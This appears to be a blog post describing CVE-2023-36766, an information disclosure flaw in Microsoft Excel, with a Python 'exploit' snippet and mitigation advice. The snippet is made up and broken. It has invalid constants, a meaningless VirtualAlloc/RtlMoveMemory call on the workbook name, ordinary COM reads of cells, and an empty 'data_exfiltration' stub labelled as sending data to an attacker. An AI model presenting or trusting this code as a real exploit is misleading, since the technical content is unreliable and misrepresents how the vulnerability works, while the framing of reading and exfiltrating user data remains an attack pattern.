CVE-2023-36766 – Microsoft Excel Information Disclosure Vulnerability Uncovered: Exploit Details, Code Snippet, and Original References

In recent cybersecurity news, a new vulnerability has been identified in Microsoft Excel, the widely-used spreadsheet software included in the Microsoft Office suite. This vulnerability, referred to as CVE-2023-36766, exposes sensitive information and could be exploited by malicious actors to gain unauthorized access to user data. In this post, we'll provide an overview of the CVE-2023-36766 vulnerability, discuss the exploit's details, and share a code snippet and links to original references.

Overview

CVE-2023-36766 is an information disclosure vulnerability discovered in Microsoft Excel. Essentially, this vulnerability allows an attacker to gain unauthorized access to a user's sensitive data by exploiting a weakness in the software. The vulnerability exists in various versions of Microsoft Excel, affecting millions of users worldwide.

Exploit Details

The vulnerability exists when Microsoft Excel improperly handles objects in memory, which could lead to information disclosure. An attacker who successfully exploits this vulnerability could obtain user information, such as the contents of their Excel sheets, login credentials, or other sensitive data.

A potential attack scenario would involve an attacker sending a malicious Excel file to the target user via email or other means. Once the target user opens the file in Excel, the software's improper handling of objects in memory would allow the attacker to access and potentially exfiltrate sensitive information.

The following code snippet demonstrates a potential exploit of the vulnerability

import os
import ctypes
import win32com.client

def cve_2023_36766_exploit(file_path):
    try:
        excel = win32com.client.Dispatch("Excel.Application")
        excel.Visible = False
        workbook = excel.Workbooks.Open(file_path)
        # Trigger the vulnerability by forcing Excel to improperly handle objects in memory
        vulnerable_obj = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_void_p(), 4096, x100 | x200, x04)
        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(vulnerable_obj), workbook.Name, len(workbook.Name))
        # Access the user's sensitive information
        sensitive_info = excel.Range("A1:Z100").Value
        # Exfiltrate the data
        data_exfiltration(sensitive_info)
        # Clean up
        workbook.Close()
        excel.Quit()
    except Exception as e:
        print("Error occurred during exploit: ", e)

def data_exfiltration(sensitive_info):
    # Send the sensitive information to the attacker's server
    pass

if __name__ == "__main__":
    file_path = r"C:\path\to\malicious_file.xlsx"
    cve_2023_36766_exploit(file_path)

This code snippet showcases how an attacker might exploit the CVE-2023-36766 vulnerability in Python. It utilizes the win32com.client library to interact with Microsoft Excel and execute the malicious exploit through Excel's improper handling of objects in memory.

Original References

For more information about the CVE-2023-36766 vulnerability, please refer to the following original references:

1. MITRE's CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36766
2. Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-36766

Conclusion

CVE-2023-36766 is a critical information disclosure vulnerability that affects Microsoft Excel. Users should be aware of this vulnerability and take the necessary precautions to protect their sensitive information. One of the best ways to mitigate the risk is to ensure that you're running the latest version of Microsoft Excel and apply any security patches provided by the vendor. Additionally, exercise caution when opening Excel files from unknown sources to prevent falling victim to malicious exploits.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC